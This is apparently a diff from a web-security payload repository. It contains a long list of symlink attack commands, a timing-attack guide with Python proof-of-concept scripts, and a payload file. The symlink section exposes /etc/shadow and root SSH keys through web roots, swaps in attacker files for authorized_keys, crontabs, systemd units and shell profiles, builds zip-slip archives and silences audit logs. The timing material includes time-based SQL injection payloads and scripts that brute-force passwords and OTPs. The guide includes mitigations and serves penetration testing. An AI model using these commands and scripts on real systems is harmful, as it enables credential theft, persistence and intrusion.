ln -s /etc/crontab /var/tmp/app_session
# Common temp file patterns
ln -s /etc/passwd /tmp/php_upload_12345
ln -s /etc/passwd /tmp/mysql.sock
ln -s /etc/passwd /var/tmp/sess_abcd1234
# ============================================
# 3. LOG FILE SYMLINK ATTACKS
# ============================================
# Replace log files with symlinks
ln -s /etc/passwd /var/log/app.log
ln -s /etc/shadow /var/log/error.log
ln -s /home/user/.ssh/authorized_keys /var/log/access.log
ln -s /etc/crontab /var/log/system.log
# Symlink to /dev/null for DoS
ln -s /dev/null /var/log/app.log
# Symlink to /dev/zero for infinite data
ln -s /dev/zero /var/log/app.log
# ============================================
# 4. WEB ROOT SYMLINK ATTACKS
# ============================================
# Create symlinks in web directories
ln -s /etc/passwd /var/www/html/passwd.txt
ln -s /etc/shadow /var/www/html/shadow.txt
ln -s /root/.ssh/id_rsa /var/www/html/key.txt
ln -s /home/user/.bash_history /var/www/html/history.txt
ln -s /var/log/apache2/access.log /var/www/html/access.txt
# Symlink to entire directories
ln -s /etc/ /var/www/html/etc
ln -s /root/ /var/www/html/root
ln -s /home/ /var/www/html/home
# PHP uploads directory
ln -s /etc/passwd /var/www/html/uploads/passwd.txt
ln -s /etc/passwd /var/www/html/files/config.txt
# ============================================
# 5. CONFIGURATION FILE SYMLINK
# ============================================
# Replace config files
ln -s /tmp/attacker_config /etc/app/app.conf
ln -s /tmp/evil.ini /etc/app/database.ini
ln -s /tmp/settings.xml /etc/app/settings.xml
# MySQL config
ln -s /tmp/evil.cnf /etc/mysql/my.cnf
# Apache config
ln -s /tmp/evil.conf /etc/apache2/sites-enabled/000-default.conf
# ============================================
# 6. SSH KEY INJECTION SYMLINKS
# ============================================
# Symlink authorized_keys
ln -s /tmp/attacker_keys /home/victim/.ssh/authorized_keys
ln -s /tmp/attacker_keys /root/.ssh/authorized_keys
# Symlink SSH config
ln -s /tmp/evil_ssh_config /home/user/.ssh/config
# Symlink known_hosts
ln -s /dev/null /home/user/.ssh/known_hosts
# ============================================
# 7. ARCHIVE EXTRACTION SYMLINKS (ZIP SLIP)
# ============================================
# Bash commands to create malicious archives
# Tar archive with symlink to /etc/passwd
ln -s /etc/passwd evil_link.txt
tar -czf evil.tar.gz evil_link.txt
# Tar with absolute path symlink
ln -s /etc/shadow /tmp/shadow_link
tar -czf evil.tar.gz /tmp/shadow_link
# Tar with directory traversal symlink
mkdir -p a/b/c
ln -s ../../../etc/passwd a/b/c/passwd
tar -czf evil.tar.gz a/
# Zip with symlink
ln -s /etc/passwd passwd_link
zip --symlinks evil.zip passwd_link
# Zip with path traversal
ln -s ../../../../../../etc/passwd link
zip --symlinks evil.zip link
# ============================================
# 8. BACKUP SYMLINK ATTACKS
# ============================================
# Place symlinks in backup source directory
cd /home/user/backup_source/
ln -s /etc/shadow shadow_backup.txt
ln -s /root/.ssh/id_rsa root_key.txt
ln -s /var/log/auth.log auth_log.txt
ln -s /etc/mysql/debian.cnf mysql_creds.txt
# Symlink entire sensitive directories
ln -s /root/.ssh/ ssh_dir_backup
ln -s /etc/ etc_backup
# ============================================
# 9. CACHE DIRECTORY SYMLINKS
# ============================================
# Replace cache files with symlinks
ln -s /etc/passwd /tmp/app_cache/user_data
ln -s /home/victim/.ssh/authorized_keys /var/cache/app/session_123
ln -s /etc/crontab /var/tmp/cache/data_456
# ============================================
# 10. FILE UPLOAD SYMLINK EXPLOITATION
# ============================================
# Create symlinks for upload testing
ln -s /etc/passwd upload_passwd.txt
ln -s /etc/shadow upload_shadow.txt
ln -s /root/.ssh/id_rsa upload_key.pem
ln -s /proc/self/environ upload_env.txt
# Symlink with allowed extension
ln -s /etc/passwd document.pdf
ln -s /etc/passwd image.jpg
ln -s /etc/passwd file.txt
# ============================================
# 11. TOCTOU RACE CONDITION PAYLOADS
# ============================================
# Continuous race condition exploit
while true; do
rm -f /tmp/target_file 2>/dev/null
touch /tmp/target_file
rm -f /tmp/target_file
ln -s /etc/passwd /tmp/target_file
sleep 0.001
done
# Python TOCTOU exploit
# import os, time
# while True:
# try:
# os.remove('/tmp/target')
# open('/tmp/target', 'w').close()
# os.remove('/tmp/target')
# os.symlink('/etc/passwd', '/tmp/target')
# except: pass
# ============================================
# 12. SYMLINK DIRECTORY TRAVERSAL
# ============================================
# Create symlink chains for traversal
mkdir -p /tmp/uploads/a/b/c/d/e
cd /tmp/uploads
ln -s / a/b/c/d/e/root
# Multiple level traversal
ln -s ../../../../../../../etc/passwd link1.txt
ln -s ../../../../../../etc/shadow link2.txt
# Relative path symlinks
cd /var/www/html/uploads
ln -s ../../../etc/passwd passwd.txt
# ============================================
# 13. CRON JOB SYMLINK ATTACKS
# ============================================
# Symlink crontab
ln -s /tmp/evil_cron /var/spool/cron/crontabs/root
ln -s /tmp/attacker_cron /etc/cron.d/custom
# Symlink cron scripts
ln -s /tmp/evil_script.sh /etc/cron.daily/backup
# ============================================
# 14. DATABASE SYMLINK ATTACKS
# ============================================
# MySQL data directory symlinks
ln -s /etc/passwd /var/lib/mysql/database/table.MYD
# PostgreSQL symlinks
ln -s /etc/shadow /var/lib/postgresql/data/pg_hba.conf
# SQLite database symlinks
ln -s /etc/passwd /var/www/app/database.sqlite
# ============================================
# 15. SESSION FILE SYMLINKS
# ============================================
# PHP session symlinks
ln -s /etc/passwd /var/lib/php/sessions/sess_abc123
ln -s /tmp/attacker_session /var/lib/php/sessions/sess_victim
# Application session symlinks
ln -s /etc/shadow /tmp/sessions/user_session_123
# ============================================
# 16. PACKAGE/DEPENDENCY SYMLINKS
# ============================================
# NPM/Node modules
ln -s /tmp/evil_module /var/www/app/node_modules/package
# Python site-packages
ln -s /tmp/evil_module.py /usr/lib/python3/site-packages/module.py
# ============================================
# 17. SYSTEMD/INIT SYMLINKS
# ============================================
# Systemd service symlinks
ln -s /tmp/evil.service /etc/systemd/system/app.service
# Init script symlinks
ln -s /tmp/evil_script /etc/init.d/custom_service
# ============================================
# 18. MAIL SPOOL SYMLINKS
# ============================================
# Mail spool symlinks
ln -s /etc/shadow /var/mail/root
ln -s /root/.ssh/id_rsa /var/spool/mail/user
# ============================================
# 19. PRINTER/DEVICE SYMLINKS
# ============================================
# Symlink to devices
ln -s /dev/random /tmp/data_file
ln -s /dev/zero /var/log/app.log
ln -s /dev/null /tmp/output.txt
# Printer spool
ln -s /etc/passwd /var/spool/cups/tmp/job_123
# ============================================
# 20. DOCKER/CONTAINER SYMLINKS
# ============================================
# Docker volume symlinks
ln -s /etc/passwd /var/lib/docker/volumes/app/_data/config.txt
# Container mount symlinks
ln -s /host/etc/passwd /container/app/data/passwd.txt
# ============================================
# 21. GIT REPOSITORY SYMLINKS
# ============================================
# Git hooks symlinks
ln -s /tmp/evil_hook.sh /var/www/app/.git/hooks/pre-commit
# Git config symlinks
ln -s /tmp/evil_config /var/www/app/.git/config
# ============================================
# 22. COMPILER/BUILD SYMLINKS
# ============================================
# Include file symlinks
ln -s /etc/passwd /usr/include/config.h
# Library symlinks
ln -s /tmp/evil.so /usr/lib/libapp.so
# ============================================
# 23. BROWSER CACHE SYMLINKS
# ============================================
# Browser profile symlinks
ln -s /etc/passwd ~/.mozilla/firefox/profile/prefs.js
ln -s /etc/shadow ~/.config/google-chrome/Default/Preferences
# ============================================
# 24. SETUID/SETGID SYMLINKS
# ============================================
# Symlinks to setuid binaries (for analysis)
ln -s /usr/bin/sudo /tmp/sudo_link
ln -s /usr/bin/passwd /tmp/passwd_link
# ============================================
# 25. PROCFS SYMLINKS
# ============================================
# Process information symlinks
ln -s /proc/self/environ /var/www/html/env.txt
ln -s /proc/self/cmdline /tmp/cmdline.txt
ln -s /proc/self/cwd /tmp/cwd_link
ln -s /proc/self/fd/0 /tmp/stdin_link
# ============================================
# 26. NETWORK CONFIGURATION SYMLINKS
# ============================================
# Network config symlinks
ln -s /tmp/evil_hosts /etc/hosts
ln -s /tmp/evil_resolv /etc/resolv.conf
ln -s /tmp/evil_network /etc/network/interfaces
# ============================================
# 27. USER PROFILE SYMLINKS
# ============================================
# Shell profile symlinks
ln -s /tmp/evil_bashrc /home/user/.bashrc
ln -s /tmp/evil_profile /home/user/.profile
ln -s /tmp/evil_zshrc /home/user/.zshrc
# ============================================
# 28. MONITORING/AUDIT SYMLINKS
# ============================================
# Audit log symlinks
ln -s /dev/null /var/log/audit/audit.log
# Monitoring config symlinks
ln -s /tmp/evil_config /etc/nagios/nrpe.cfg
# ============================================
# 29. CLOUD METADATA SYMLINKS
# ============================================
# AWS metadata symlinks (if accessible)
ln -s /proc/self/environ /var/www/html/aws_metadata.txt
# ============================================
# 30. RECURSIVE SYMLINK (DoS)
# ============================================
# Create circular symlinks for DoS
ln -s /tmp/link1 /tmp/link2
ln -s /tmp/link2 /tmp/link1
# Self-referential symlink
ln -s /tmp/selflink /tmp/selflink
# ============================================
# TESTING COMMANDS
# ============================================
# Check if file is a symlink
test -L /path/to/file && echo "Is a symlink"
# List symlinks
find /path -type l
# Show symlink target
readlink /path/to/symlink
ls -l /path/to/symlink
# Create symlink with specific name
ln -s /target /symlink_name
# Force create symlink (overwrite existing)
ln -sf /target /symlink_name
# Create relative symlink
ln -sr /target /symlink_name
# ============================================
# PREVENTION TESTING
# ============================================
# Test if application follows symlinks
ln -s /etc/passwd /tmp/test_symlink.txt
# Upload/access /tmp/test_symlink.txt
# If contents of /etc/passwd are returned, vulnerable
# Test O_NOFOLLOW behavior
# Create symlink and try to open it
# Should fail with ELOOP error if protected
# Test path validation
ln -s /etc/passwd allowed_dir/../../etc/passwd_link
# Try to access via application
# ============================================
# WINDOWS EQUIVALENTS (JUNCTION/MKLINK)
# ============================================
# Windows symbolic links (requires admin)
# mklink /D link target_directory
# mklink file_link target_file
# Windows junctions (no admin required)
# mklink /J junction_dir target_directory
# Example payloads (Windows)
# mklink passwd.txt C:\Windows\System32\config\SAM
# mklink /D sensitive_dir C:\Users\Administrator
+596
View File
@@ -0,0 +1,596 @@
# Timing Attacks
## Description
Timing attacks are a type of side-channel attack where an attacker can discover information by analyzing the time it takes for a system to respond to different inputs. These attacks exploit variations in processing time to infer sensitive data such as valid usernames, password correctness, cryptographic keys, or internal system states.
## How Timing Attacks Work
When an application takes different amounts of time to process valid versus invalid inputs, attackers can measure these timing differences to gain information. For example:
- Valid username checks may take longer due to additional database queries
- Password verification may fail faster for wrong usernames than wrong passwords
- Token validation may reveal valid token formats through timing differences
- Cryptographic operations may leak information through processing time
## Common Vulnerabilities
### 1. **User Enumeration via Login Timing**
Login responses take different times for existing vs non-existing users.
### 2. **Password Verification Timing**
Password comparison stops at first wrong character (early return).
### 3. **Token Validation Timing**
Valid token format takes longer to process than invalid format.
### 4. **Cryptographic Key Discovery**
RSA, AES operations leak information through execution time.
### 5. **Database Query Timing**
Different query execution times reveal data existence.
### 6. **Cache Timing**
Cached vs uncached responses have different timing signatures.
### 7. **Session Validation Timing**
Valid session checks take longer than invalid session checks.
### 8. **OTP/PIN Verification Timing**
Character-by-character comparison reveals partial correctness.
## Common Attack Vectors
- Authentication endpoints (login, password reset)
- Token validation endpoints
- Search functionality
- Database queries
- Cryptographic operations
- Session management
- File existence checks
- Cache mechanisms
## Testing Methodology & PoC Examples
### PoC 1: User Enumeration via Login Timing
**Vulnerability:** Different response times for existing vs non-existing users.
**Steps to Test:**
1. Send login request with known existing username
2. Measure response time (e.g., 250ms)
3. Send login request with non-existing username
4. Measure response time (e.g., 50ms)
5. Significant difference indicates vulnerability
**Python Script:**
```python
import requests
import time
def measure_login_time(username, password):
start = time.time()
response = requests.post('https://example.com/login',
data={'username': username, 'password': password})
end = time.time()
return end - start
# Test with known existing user
existing_user_time = measure_login_time('admin', 'wrong_password')
print(f"Existing user time: {existing_user_time:.3f}s")
# Test with non-existing user
nonexistent_user_time = measure_login_time('nonexistent_user_12345', 'wrong_password')
print(f"Non-existing user time: {nonexistent_user_time:.3f}s")
# If difference is significant (>50ms), vulnerability exists
if abs(existing_user_time - nonexistent_user_time) > 0.05:
print("Timing attack vulnerability detected!")
```
**Request Example:**
```http
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=test123
```
**Mitigation:** Use constant-time comparison and always perform same operations regardless of user existence.
---
### PoC 2: Password Length Discovery via Timing
**Vulnerability:** Password verification time increases with correct prefix length.
**Steps to Test:**
1. Try passwords of different lengths
2. Measure response time for each
3. Longer correct prefixes take more time
4. Incrementally discover password character by character
**Python Script:**
```python
import requests
import time
import string
def test_password_timing(username, password):
times = []
for _ in range(10): # Multiple attempts for accuracy
start = time.time()
requests.post('https://example.com/login',
data={'username': username, 'password': password})
end = time.time()
times.append(end - start)
return sum(times) / len(times) # Average time
# Brute force password character by character
known_password = ""
for position in range(20): # Try up to 20 characters
best_char = None
longest_time = 0
for char in string.ascii_letters + string.digits:
test_password = known_password + char
avg_time = test_password_timing('admin', test_password)
if avg_time > longest_time:
longest_time = avg_time
best_char = char
if best_char:
known_password += best_char
print(f"Discovered: {known_password}")
else:
break
```
---
### PoC 3: Token Validation Timing Attack
**Vulnerability:** Valid token format takes longer to validate.
**Steps to Test:**
1. Send requests with various token formats
2. Measure validation time
3. Valid format (even if expired) takes longer
4. Use timing to discover valid token structure
**Request Examples:**
```http
GET /api/validate?token=invalid_format HTTP/1.1
Host: example.com
# Fast response (5ms)
GET /api/validate?token=550e8400-e29b-41d4-a716-446655440000 HTTP/1.1
Host: example.com
# Slower response (50ms) - valid UUID format
```
**Python Script:**
```python
import requests
import time
tokens = [
'invalid',
'12345',
'abc-def-ghi',
'550e8400-e29b-41d4-a716-446655440000', # Valid UUID
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', # Valid JWT format
]
for token in tokens:
start = time.time()
response = requests.get(f'https://example.com/api/validate?token={token}')
elapsed = time.time() - start
print(f"Token: {token[:20]}... Time: {elapsed:.4f}s")
```
---
### PoC 4: Database Query Timing (SQL Timing Attack)
**Vulnerability:** Different query execution times reveal data.
**Steps to Test:**
1. Inject time-based SQL payloads
2. Measure response time
3. If condition is true, response is delayed
4. Extract data bit by bit
**SQL Timing Payloads:**
```sql
' OR IF(1=1, SLEEP(5), 0) --
' OR IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --
' AND IF((SELECT COUNT(*) FROM users)>10, SLEEP(5), 0) --
admin' AND IF(LENGTH(password)>8, BENCHMARK(5000000,SHA1('test')), 0) --
```
**Request:**
```http
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
query=' OR IF(1=1, SLEEP(5), 0) --
```
**Python Script:**
```python
import requests
import time
def check_condition(condition):
payload = f"' OR IF({condition}, SLEEP(5), 0) --"
start = time.time()
requests.post('https://example.com/search', data={'query': payload})
elapsed = time.time() - start
return elapsed > 5 # True if condition is true
# Extract database name length
for length in range(1, 50):
if check_condition(f"LENGTH(DATABASE())={length}"):
print(f"Database name length: {length}")
break
```
---
### PoC 5: Cache Timing Attack
**Vulnerability:** Cached responses are faster than uncached.
**Steps to Test:**
1. Request resource multiple times
2. First request is slow (cache miss)
3. Subsequent requests are fast (cache hit)
4. Use timing to discover accessed resources
**Python Script:**
```python
import requests
import time
def check_cache_timing(url):
# First request - potential cache miss
start = time.time()
requests.get(url)
first_time = time.time() - start
# Second request - potential cache hit
start = time.time()
requests.get(url)
second_time = time.time() - start
print(f"URL: {url}")
print(f"First: {first_time:.4f}s, Second: {second_time:.4f}s")
if second_time < first_time * 0.5:
print("Likely cached!")
return True
return False
# Test various resources
resources = [
'https://example.com/api/user/1',
'https://example.com/api/user/2',
'https://example.com/api/user/999',
]
for resource in resources:
check_cache_timing(resource)
```
---
### PoC 6: OTP/PIN Brute Force via Timing
**Vulnerability:** Character-by-character OTP comparison.
**Steps to Test:**
1. Try OTPs with different first digits
2. Correct first digit takes slightly longer
3. Repeat for each position
4. Discover OTP digit by digit
**Python Script:**
```python
import requests
import time
def test_otp_timing(otp):
times = []
for _ in range(20): # Multiple measurements
start = time.time()
requests.post('https://example.com/verify-otp',
data={'otp': otp})
times.append(time.time() - start)
return sum(times) / len(times)
# Discover 6-digit OTP
discovered_otp = ""
for position in range(6):
best_digit = None
longest_time = 0
for digit in range(10):
test_otp = discovered_otp + str(digit) + "0" * (5 - position)
avg_time = test_otp_timing(test_otp)
if avg_time > longest_time:
longest_time = avg_time
best_digit = digit
discovered_otp += str(best_digit)
print(f"Discovered so far: {discovered_otp}")
```
---
### PoC 7: File Existence Check via Timing
**Vulnerability:** File existence affects response time.
**Steps to Test:**
1. Request files that may exist
2. Existing files take longer (file I/O)
3. Non-existing files fail fast
4. Enumerate file structure via timing
**Request:**
```http
GET /download?file=../../../etc/passwd HTTP/1.1
Host: example.com
# Slower if file exists and is accessed
```
---
### PoC 8: Session Validation Timing
**Vulnerability:** Valid sessions require more checks.
**Steps to Test:**
1. Send requests with various session IDs
2. Valid format sessions take longer to invalidate
3. Discover valid session ID patterns
**Python Script:**
```python
import requests
import time
import uuid
def check_session_timing(session_id):
start = time.time()
requests.get('https://example.com/api/data',
cookies={'SESSIONID': session_id})
return time.time() - start
# Test different session formats
session_times = {}
for _ in range(10):
# Random UUID
session_id = str(uuid.uuid4())
timing = check_session_timing(session_id)
session_times[session_id] = timing
print(f"Session: {session_id} Time: {timing:.4f}s")
# Sessions with longer times might have valid format
sorted_sessions = sorted(session_times.items(), key=lambda x: x[1], reverse=True)
print("\nSlowest (potentially valid format):")
for session, timing in sorted_sessions[:3]:
print(f"{session}: {timing:.4f}s")
```
---
### PoC 9: Cryptographic Timing Attack (RSA)
**Vulnerability:** RSA decryption time leaks private key information.
**Concept:**
- RSA operations time varies based on key bits
- Measure time for different ciphertext
- Statistical analysis reveals key bits
**Note:** This requires many measurements and statistical analysis. Real-world example: Bleichenbacher's attack.
---
### PoC 10: Rate Limiting Detection via Timing
**Vulnerability:** Rate limiting adds delay to responses.
**Steps to Test:**
1. Send requests rapidly
2. Measure response times
3. After threshold, responses become slower
4. Discover rate limit threshold
**Python Script:**
```python
import requests
import time
url = 'https://example.com/api/endpoint'
times = []
for i in range(100):
start = time.time()
response = requests.get(url)
elapsed = time.time() - start
times.append(elapsed)
print(f"Request {i+1}: {elapsed:.4f}s")
# Detect sudden increase in response time
if len(times) > 10:
avg_recent = sum(times[-10:]) / 10
avg_early = sum(times[:10]) / 10
if avg_recent > avg_early * 2:
print(f"Rate limit detected around request {i+1}")
break
```
---
## Tools for Testing
### 1. **Custom Python Scripts**
```python
import statistics
import requests
import time
def statistical_timing_attack(url, payloads):
results = {}
for payload in payloads:
times = []
for _ in range(50): # 50 measurements for accuracy
start = time.time()
requests.post(url, data={'input': payload})
times.append(time.time() - start)
# Calculate statistics
avg = statistics.mean(times)
stdev = statistics.stdev(times)
results[payload] = {'avg': avg, 'stdev': stdev}
return results
```
### 2. **Burp Suite Intruder**
- Use "Pitchfork" attack type
- Add "Response received" column
- Sort by response time
- Look for patterns
### 3. **Timing Attack Tools**
```bash
# Using cURL with timing
for i in {1..100}; do
curl -w "Time: %{time_total}s\n" -o /dev/null -s \
"https://example.com/api/check?username=user$i"
done
# Using Apache Bench
ab -n 1000 -c 10 https://example.com/login
# Using wrk for timing analysis
wrk -t12 -c400 -d30s https://example.com/api
```
### 4. **Statistical Analysis Tools**
```python
import numpy as np
import matplotlib.pyplot as plt
# Analyze timing data
times_existing_users = [0.245, 0.248, 0.251, 0.247, 0.249]
times_nonexistent_users = [0.048, 0.051, 0.049, 0.050, 0.047]
print(f"Existing users avg: {np.mean(times_existing_users):.4f}s")
print(f"Non-existing users avg: {np.mean(times_nonexistent_users):.4f}s")
# Plot histogram
plt.hist(times_existing_users, alpha=0.5, label='Existing')
plt.hist(times_nonexistent_users, alpha=0.5, label='Non-existing')
plt.legend()
plt.xlabel('Response Time (s)')
plt.ylabel('Frequency')
plt.title('Timing Attack - User Enumeration')
plt.show()
```
## Exploitation Impact
- **Critical:** Password/key extraction, cryptographic attacks
- **High:** User enumeration, session discovery, data extraction
- **Medium:** Information disclosure, system behavior mapping
- **Privacy Impact:** Reveals user existence, activity patterns
## Remediation
### 1. **Constant-Time Operations**
```python
# Bad - Early return
def check_password(input_password, stored_password):
if len(input_password) != len(stored_password):
return False
for i in range(len(input_password)):
if input_password[i] != stored_password[i]:
return False # Early return leaks information
return True
# Good - Constant-time comparison
import hmac
def check_password_secure(input_password, stored_password):
return hmac.compare_digest(input_password.encode(), stored_password.encode())
```
### 2. **Normalize Response Times**
```python
import time
import random
def login(username, password):
start_time = time.time()
# Perform authentication
result = authenticate(username, password)
# Add random delay to normalize timing
elapsed = time.time() - start_time
target_time = 0.5 # Fixed response time
if elapsed < target_time:
time.sleep(target_time - elapsed + random.uniform(0, 0.05))
return result
```
### 3. **Rate Limiting**
- Implement aggressive rate limiting on sensitive endpoints
- Use exponential backoff
- CAPTCHA after multiple attempts
### 4. **Identical Code Paths**
- Execute same operations for valid and invalid inputs
- Always query database even if username doesn't exist
- Always perform password hash comparison
### 5. **Timing Jitter**
```python
import random
import time
def add_timing_jitter():
time.sleep(random.uniform(0.01, 0.05))
```
### 6. **Blinding Techniques**
- Use blinding in cryptographic operations
- Add random delays
- Use secure libraries (e.g., libsodium)
### 7. **Monitoring and Detection**
- Monitor for unusual timing patterns
- Detect rapid sequential requests
- Alert on systematic timing probes
### 8. **Use Secure Libraries**
- Use constant-time comparison functions
- Use timing-safe cryptographic libraries
- Follow OWASP guidelines
## References
- [OWASP - Timing Attacks](https://owasp.org/www-community/attacks/Timing_attack)
- [NIST - Timing Attacks on Implementations](https://csrc.nist.gov/glossary/term/timing_attack)
- [Remote Timing Attacks are Practical](https://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf)
- [Cache-Timing Attacks on AES](https://cr.yp.to/antiforgery/cachetiming-20050414.pdf)
## Payloads
See `timing-attacks-payloads.txt` for a comprehensive list of timing attack payloads and test cases.
+481
View File
@@ -0,0 +1,481 @@
# Timing Attack Payloads
# ============================================
# 1. USER ENUMERATION VIA TIMING
# ============================================
# Test usernames (measure response time differences)
username=admin
username=administrator
username=root
username=test
username=user
username=nonexistent_user_12345
username=aaaaaaaaaaaaaaaaaaaa
# Email enumeration
email=admin@example.com
email=user@example.com
email=nonexistent@example.com
email=invalid@invalid.invalid
# ============================================
# 2. PASSWORD LENGTH DISCOVERY
# ============================================
# Try passwords of increasing length
password=a
password=ab
password=abc
password=abcd
password=abcde
password=abcdef
password=abcdefgh
password=abcdefghij
password=abcdefghijkl
password=abcdefghijklmno
password=abcdefghijklmnopqrst
# ============================================
# 3. SQL TIMING INJECTION PAYLOADS
# ============================================
# Basic sleep-based payloads
' OR SLEEP(5) --
' OR IF(1=1, SLEEP(5), 0) --
' AND SLEEP(5) --
admin' AND SLEEP(5) --
admin' OR SLEEP(5) #
# MySQL time-based blind SQL injection
' OR IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0) --
' OR IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0) --
' OR IF(LENGTH(DATABASE())>5, SLEEP(5), 0) --
' AND IF((SELECT user FROM mysql.user LIMIT 1)='root', SLEEP(5), 0) --
# PostgreSQL time-based
' OR pg_sleep(5) --
'; SELECT pg_sleep(5) --
' OR (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END) --
# MSSQL time-based
'; WAITFOR DELAY '00:00:05' --
' OR WAITFOR DELAY '00:00:05' --
'; IF (1=1) WAITFOR DELAY '00:00:05' --
' AND (SELECT COUNT(*) FROM users) > 0; WAITFOR DELAY '00:00:05' --
# Oracle time-based
' OR DBMS_LOCK.SLEEP(5) --
' AND DBMS_LOCK.SLEEP(5) --
# SQLite time-based
' OR randomblob(100000000) --
' AND randomblob(100000000) --
# Heavy computation (alternative to SLEEP)
' OR BENCHMARK(5000000, SHA1('test')) --
' AND BENCHMARK(10000000, MD5('test')) --
# Conditional time delays
' OR IF((SELECT COUNT(*) FROM users WHERE username='admin')=1, SLEEP(5), 0) --
' OR IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0) --
' OR IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96, SLEEP(5), 0) --
# Data exfiltration via timing
' OR IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a', SLEEP(5), 0) --
' OR IF((SELECT SUBSTRING(password,2,1) FROM users WHERE username='admin')='b', SLEEP(5), 0) --
# ============================================
# 4. TOKEN VALIDATION TIMING
# ============================================
# Valid format tokens (will take longer to validate)
token=550e8400-e29b-41d4-a716-446655440000
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
# Invalid format tokens (will fail fast)
token=invalid
token=12345
token=abc123
token=test
token=null
# ============================================
# 5. OTP/PIN TIMING BRUTE FORCE
# ============================================
# 4-digit PIN testing (measure time for each)
pin=0000
pin=0001
pin=0002
pin=1111
pin=1234
pin=5555
pin=9999
# 6-digit OTP testing
otp=000000
otp=111111
otp=123456
otp=654321
otp=999999
# Character-by-character timing
otp=100000
otp=200000
otp=300000
# If 1xxxxx takes longer, first digit is 1
otp=110000
otp=120000
otp=130000
# Continue for each position
# ============================================
# 6. SESSION VALIDATION TIMING
# ============================================
# Valid UUID format sessions
session_id=550e8400-e29b-41d4-a716-446655440000
session_id=123e4567-e89b-12d3-a456-426614174000
# Invalid format sessions
session_id=invalid
session_id=12345
session_id=test_session
# Sequential session IDs
session_id=1
session_id=2
session_id=100
session_id=1000
# ============================================
# 7. FILE EXISTENCE TIMING
# ============================================
# Common file paths
file=../../../../../../etc/passwd
file=../../../../../../etc/shadow
file=../../../../../../etc/hosts
file=../../../../../../var/log/apache2/access.log
file=../../../config/database.yml
file=../../../.env
file=../../../.git/config
# Windows paths
file=C:\Windows\System32\config\SAM
file=C:\Windows\win.ini
file=C:\boot.ini
# ============================================
# 8. CRYPTOGRAPHIC TIMING ATTACKS
# ============================================
# RSA signature verification timing
signature=<various_signatures>
# Measure verification time to leak key bits
# HMAC timing attacks
hmac=correct_hmac_value
hmac=incorrect_hmac_value
# Non-constant-time comparison leaks information
# Password hash comparison
password_hash=correct_bcrypt_hash
password_hash=incorrect_bcrypt_hash
# ============================================
# 9. CACHE TIMING DETECTION
# ============================================
# Request same resource multiple times
GET /api/user/1
GET /api/user/1
GET /api/user/1
# Second and third should be faster if cached
# Resource enumeration via cache
GET /api/user/1
GET /api/user/2
GET /api/user/3
GET /api/user/100
# Cached resources respond faster
# ============================================
# 10. RACE CONDITION TIMING
# ============================================
# Send simultaneous requests
# POST /transfer amount=1000&from=victim&to=attacker
# (send 10 requests simultaneously)
# Parallel password reset
# POST /forgot-password email=victim@example.com
# (send multiple requests in parallel)
# Concurrent registration
# POST /register username=attacker&email=test@example.com
# (send multiple requests with same email)
# ============================================
# 11. RATE LIMITING DETECTION
# ============================================
# Send rapid requests to detect rate limiting
# Request 1-100 to same endpoint
# Measure time for each
# Detect when responses start taking longer
# ============================================
# 12. DATABASE QUERY TIMING
# ============================================
# Boolean-based timing
query=' OR '1'='1' AND SLEEP(5) --
query=' OR '1'='2' AND SLEEP(5) --
# First one sleeps, second one doesn't
# Conditional queries with timing
search=test' AND (SELECT COUNT(*) FROM users)>0 AND SLEEP(5) --
search=test' AND (SELECT COUNT(*) FROM users)>1000 AND SLEEP(5) --
# ============================================
# 13. AUTHENTICATION ENDPOINT TIMING
# ============================================
# Login timing comparison
username=admin&password=wrongpassword
username=nonexistent&password=wrongpassword
# Measure difference in response time
# 2FA timing
otp=000000
otp=111111
otp=123456
# Measure validation time
# ============================================
# 14. API ENDPOINT TIMING
# ============================================
# Valid vs invalid API keys
Authorization: Bearer valid_format_key_12345678901234567890
Authorization: Bearer invalid
# Valid format takes longer to validate
# Permission check timing
GET /api/admin/users (with admin token)
GET /api/admin/users (with user token)
# Different timing reveals permission check depth
# ============================================
# 15. SEARCH FUNCTIONALITY TIMING
# ============================================
# Search for existing vs non-existing data
search=admin
search=nonexistent_data_12345
# Existing data may take longer to retrieve
# Wildcard search timing
search=a%
search=admin%
search=administrator%
# Results count affects timing
# ============================================
# 16. COMPARISON TIMING ATTACKS
# ============================================
# Secret comparison (character-by-character)
secret=a000000000
secret=b000000000
secret=c000000000
# If 'a' is correct first character, it takes slightly longer
# Token comparison
token=a123456789012345
token=b123456789012345
# Non-constant-time comparison leaks information
# ============================================
# 17. HMAC VERIFICATION TIMING
# ============================================
# Correct HMAC
hmac=2d5f8f5e1c8b9a7f3e4d6c2b1a0f9e8d
# Incorrect HMAC (different lengths)
hmac=incorrect
hmac=1234567890abcdef
hmac=ffffffffffffffffffffffffffffffff
# ============================================
# 18. BACKUP CODE TIMING
# ============================================
# Test backup codes
backup_code=ABCD-EFGH-IJKL-MNOP
backup_code=1234-5678-9012-3456
backup_code=invalid
# ============================================
# 19. EMAIL VALIDATION TIMING
# ============================================
# Existing email addresses
email=admin@example.com
email=user@example.com
# Non-existing email addresses
email=nonexistent@example.com
email=invalid@invalid.com
# ============================================
# 20. PERMISSION CHECK TIMING
# ============================================
# Access with different permission levels
GET /api/resource/1 (as admin)
GET /api/resource/1 (as user)
GET /api/resource/1 (as guest)
# Different permission checks take different times
# ============================================
# 21. REGEX TIMING ATTACKS (ReDoS)
# ============================================
# Exponential backtracking patterns
input=(a+)+b
input=aaaaaaaaaaaaaaaaaaaaaaaa!
input=(a|a)*b
input=(a|ab)*c
# Email validation ReDoS
email=a@a.a....(repeat many times)...@a.a
email=aaaaaaaaaaaaaaaaaaaaaa@aaaaaaaaaa.com
